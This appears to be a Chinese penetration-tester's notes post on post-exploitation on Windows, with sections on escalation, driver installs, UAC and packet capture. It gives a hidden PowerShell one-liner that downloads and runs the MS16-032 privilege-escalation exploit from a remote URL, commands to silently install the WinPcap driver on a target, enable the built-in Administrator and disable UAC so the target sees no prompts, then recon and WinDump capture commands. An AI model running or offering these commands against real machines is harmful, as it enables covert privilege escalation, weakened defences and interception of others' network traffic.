从远程下载执行一个PowerShell脚本，并新开一个System权限的窗口。
(虚拟机调成2个CPU及以上，才能运行成功）
也可以自己修改PowerShell脚本，在最前两行修改命令。

C++版的地址在：

但总卡死在CreateProcessWithLogonW函数上，无法正常执行。
前3个参数user、domain、pass可以随便写 L"xxx"
LOGON_NETCREDENTIALS_ONLY, //第四个参数
第五、六个参数自定两个wchar_t 数组指针，装目标application名和cmd命令
CREATE_SUSPENDED,//第七个参数
NULL,//第八个参数
第九个参数是当前路径
第10、11个参数是两个结构体指针，需要在前边定义
同时还需要考虑对方机器上的vc++运行库版本。
wmic查看已安装程序：
wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_Product
隐藏提权过程窗口、成功后自动关闭旧cmd.exe的命令：
powershell -nop -ep bypass -windowstyle hidden -File MS16-032.ps1 & exit
powershell -nop -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c start cmd /k echo Hello, World!'" & exit
这样执行，会看到立马窗口消失，执行完命令也不会有进程停留。
0x02 静默安装WinPcap
使用WinDump抓包或者wireshark都需要安装WinPcap，希望它不需要点击即可安装。
我已用sandbox沙盒提取了它安装包释放的文件位置，在和目标相同环境的机子上安装后，提取文件即可：
1、释放dll和sys文件
结构
按照这样的结构，把文件放好到目标机中，主要是Windows目录下的东西，一样也不能少。
2、注册服务
如果就这样执行winDump，会提示分配空间不足的问题，需要注册服务
sc的格式很奇怪，只能等号后有空格，请完全按照此行复制。
sc create npf binPath= "System32\drivers\npf.sys" type= "kernel" start= "auto" error= "normal" tag= "no" DisplayName= "NetGroup Packet Filter Driver"
sc start npf
接下来就可以正常使用WinDump了。
0x03 关于用户以及关闭UAC
1、关于Administrator用户
administrator本来是空密码的，且未激活的，在控制面板中无法对这个用户修改，用runas也无法登录空密码用户。
如果一定要让这个用户出现，作为其他用户一样，可以在欢迎界面登录使用：
net user administrator /active:yes
可以为它修改密码后，再runas使用，但会在欢迎界面看到多出来这个账户
runas /user:administrator cmd
就是以administrator身份打开一个cmd窗口
2、UAC访问控制
防止让渗透目标弹窗，注意以下命令，需administrator或system权限，且重启后生效！
关闭UAC：
C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
开启UAC：
C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 1 /f
重启后生效！
重启后生效！
重启后生效！
3、抓包前的其他信息收集
tasklist /SVC /FO TABLE
用来列出进程对应的服务
tasklist /V /FO CSV >> C:\1.csv
把进程的详细信息导出到csv中，方便程序处理。
tasklist /V /FO list
则比较方便观看。
netstat /r
显示网卡接口列表、路由表。
netstat /abno
进程、PID、内外地址端口、连接状态。
netstat -anp | grep sshd
Linux下的监测ssh连接情况命令
top -d 3
Linux下动态3秒一次刷新，监测资源
http://www.microsoft.com/en-us/download/details.aspx?id=4865
在自己的电脑可以安装微软的 Microsoft Network Monitor3.4
比wireshark强的功能是，可以方便的在左侧列出进程，进程下的几个网络会话，并查看数据。相当于能看到数据的性能管理器网络功能。
本机监控还可以用Process Hacker
看进程运行账户、进程父子关系、dll对磁盘的读写、进程加载的dll列表，都很方便。
0x04 C++调用api获取端口与进程的对应
可以根据端口找进程，也可以根据进程找端口，调用的是底层dll中的函数，直接加载入工程。
原理如下：
https://www.cnblogs.com/BoyXiao/archive/2012/02/20/2359273.html
以下是能直接编译通过的代码demo：
https://blog.csdn.net/change518/article/details/7473475
可以自己定制，实现持续记录netstat信息。
0x05 WinDump使用
整体而言，先写参数，所有参数写完，最后跟上过滤语句即可。
windump -D
大写的D，列出来当前网络接口
windump -i 2
选择第2个网络接口并进行监听
windump -i 2 -l
小写的L，可以实时看到每条数据表的收发端口、地址
windump -i 2 -v
实时输出数据包信息，和-l类似
但是希望更详细可以-vv -vvv
windump -i 2 -X
大写的X参数，输出每个包的详细Ascii / Hex 显示
windump -i 2 -X ip host 127.0.0.1
或者 ip src或者 ip dst用来过滤ip
写成192.168.1也可以过滤整个网段
windump -i 2 -X ip host 127.0.0.1 && port 80,443
限定端口，逗号隔开即可
windump -i 2 -c 5 -C 1
-c 5表示只接受5个包就停止
-C 1表示接受到1MB就停止
windump -i 2 -c 10 -s 2000 -w 1.pcap
-s 2000表示 每个包读2000字节，实际一个包一般1400+
不设此参数，每个包都抓不全
-w 1.pcap就是保存的文件名
所以，最终：
WinDump.exe -i 3 -X -s 2000 -C 10 -c 1000 -w 1.pcap port 443
